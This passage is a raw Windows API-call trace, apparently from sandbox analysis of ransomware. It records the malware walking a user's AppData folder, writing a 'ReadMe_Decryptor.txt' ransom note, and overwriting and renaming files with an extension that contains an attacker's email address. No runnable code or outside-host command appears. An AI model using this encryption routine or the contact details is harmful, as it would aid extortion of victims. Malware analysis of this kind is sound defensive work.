returned 0x55bdc8 [0050.971] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0050.972] GetFileType (hFile=0x2d4) returned 0x1 [0050.972] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0050.983] FindNextFileW (in: hFindFile=0x5dac60, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1 [0050.983] lstrcmpW (lpString1="Identities", lpString2=".") returned 1 [0050.983] lstrcmpW (lpString1="Identities", lpString2="..") returned 1 [0050.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0050.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0050.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8e) returned 0x608fb0 [0050.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0050.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0050.983] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0050.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0050.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5ea7f8 [0050.983] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x5dad60 [0050.983] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0050.983] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.984] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0050.984] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0050.984] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 1 [0050.984] lstrcmpW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2=".") returned 1 [0050.984] lstrcmpW (lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="..") returned 1 [0050.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0050.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0050.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55c0b0 [0050.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0050.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0050.984] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0050.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55c178 [0050.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5ea7f8 [0050.984] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0050.984] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0050.984] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.985] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0050.985] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0050.985] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0050.985] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb618 [0050.985] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0050.985] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0050.986] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0050.986] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.987] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0050.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cb618 | out: hHeap=0x540000) returned 1 [0050.987] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0050.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c178 | out: hHeap=0x540000) returned 1 [0050.987] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0 [0050.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0050.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c0b0 | out: hHeap=0x540000) returned 1 [0050.987] FindClose (in: hFindFile=0x5dad60 | out: hFindFile=0x5dad60) returned 1 [0050.988] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x5dad60 [0050.988] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.989] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 1 [0050.989] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0 [0050.989] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0050.989] FindClose (in: hFindFile=0x5dad60 | out: hFindFile=0x5dad60) returned 1 [0050.990] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0050.990] FindNextFileW (in: hFindFile=0x5dac60, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa4b93c60, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa4b93c60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa4b93c60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xc22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Info.hta", cAlternateFileName="")) returned 1 [0050.990] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0050.990] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0050.990] lstrcmpW (lpString1="Info.hta", lpString2="ReadMe_Decryptor.txt") returned -1 [0050.990] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\info.hta"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0050.990] GetFileSize (in: hFile=0x2d4, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0xc22 [0050.990] LockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd3a, nNumberOfBytesToLockHigh=0x0) returned 1 [0050.990] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0050.990] ReadFile (in: hFile=0x2d4, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0050.991] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.991] ReadFile (in: hFile=0x2d4, lpBuffer=0x3780040, nNumberOfBytesToRead=0xc22, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18fa94*=0xc22, lpOverlapped=0x0) returned 1 [0050.991] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0050.991] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0050.991] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0050.991] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0050.991] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0050.991] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0050.991] GetLastError () returned 0x0 [0050.991] SetLastError (dwErrCode=0x0) [0050.991] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0050.991] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0050.991] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0050.992] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0050.992] GetLastError () returned 0x0 [0050.992] SetLastError (dwErrCode=0x0) [0050.992] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0050.992] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0050.992] GetLastError () returned 0x0 [0050.992] SetLastError (dwErrCode=0x0) [0050.992] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0050.992] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0050.992] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c88 [0050.992] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0050.992] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc30) returned 0x28d7a10 [0050.992] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bb88 [0050.992] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1873) returned 0x600980 [0050.992] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0050.992] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0050.992] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0050.992] GetLastError () returned 0x0 [0050.992] SetLastError (dwErrCode=0x0) [0050.992] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0050.992] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0050.992] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0050.992] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0050.992] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0050.992] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0050.993] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0050.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0050.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0050.993] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0050.993] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0050.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0050.993] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0050.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0050.993] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0050.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0050.993] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0050.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0050.993] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0050.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c28 [0050.993] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0050.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c40 [0050.993] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0050.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0050.993] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0050.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0050.993] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0050.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0050.993] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0050.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0050.993] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0050.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0050.993] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0050.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608f18 [0050.993] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0050.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0050.993] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0050.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0050.993] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0050.993] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5ea7f8 [0050.993] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0050.994] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d5988 [0050.994] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0050.994] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0050.994] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0050.994] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0050.994] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0050.994] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0050.994] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0050.994] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0050.994] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0050.994] WriteFile (in: hFile=0x2d4, lpBuffer=0x28d7a10*, nNumberOfBytesToWrite=0xd48, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x28d7a10*, lpNumberOfBytesWritten=0x18fa94*=0xd48, lpOverlapped=0x0) returned 1 [0050.994] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0050.994] UnlockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd3a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.994] CloseHandle (hObject=0x2d4) returned 1 [0050.995] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db300 [0050.995] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55c0b0 [0050.995] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db300 | out: hHeap=0x540000) returned 1 [0050.995] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\info.hta"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Info.hta.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\info.hta.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0050.996] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c0b0 | out: hHeap=0x540000) returned 1 [0050.996] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0050.996] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x600980 | out: hHeap=0x540000) returned 1 [0050.996] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0050.996] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0050.996] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0050.996] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0050.996] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0051.218] GetFileType (hFile=0x320) returned 0x1 [0051.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x600980 [0051.272] lstrcmpW (lpString1="l7quBA3.png", lpString2="ReadMe_Decryptor.txt") returned -1 [0051.272] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\l7quBA3.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\l7quba3.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0051.273] GetFileSize (in: hFile=0x320, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x6f7f [0051.273] LockFile (hFile=0x320, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7097, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.273] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0051.273] ReadFile (in: hFile=0x320, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0051.274] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.274] ReadFile (in: hFile=0x320, lpBuffer=0x3780040, nNumberOfBytesToRead=0x6f7f, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18fa94*=0x6f7f, lpOverlapped=0x0) returned 1 [0051.274] RtlAllocateHeap (HeapHandle=0x540000, 